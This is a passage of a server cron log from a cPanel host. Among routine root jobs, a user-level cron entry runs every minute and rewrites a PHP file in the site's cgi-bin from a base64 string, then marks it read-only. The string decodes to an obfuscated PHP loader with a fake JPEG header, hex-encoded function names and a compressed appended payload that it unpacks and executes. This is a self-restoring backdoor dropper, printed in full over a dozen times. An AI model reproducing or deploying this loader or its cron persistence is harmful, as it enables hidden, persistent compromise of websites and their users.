KSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:27:01 server CROND[18102]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 12:27:01 server CROND[18103]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:28:01 server CROND[18273]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:29:01 server CROND[18338]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:30:01 server CROND[18435]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 12:30:01 server CROND[18436]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr 10 12:30:01 server CROND[18440]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:30:01 server CROND[18441]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 12:30:01 server CROND[18443]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 12:31:01 server CROND[18580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:32:01 server CROND[18648]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:33:01 server CROND[18801]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:34:01 server CROND[18859]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:35:01 server CROND[18923]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 12:35:01 server CROND[18924]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 10 12:35:01 server CROND[18927]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 12:35:01 server CROND[18928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:35:01 server CROND[18926]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 12:36:01 server CROND[19073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:37:01 server CROND[19129]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:38:01 server CROND[19198]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:39:01 server CROND[19342]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:39:01 server CROND[19343]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 12:40:01 server CROND[19406]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 12:40:01 server CROND[19407]: (root) CMD (/usr/lib64/sa/sa1 1 1)
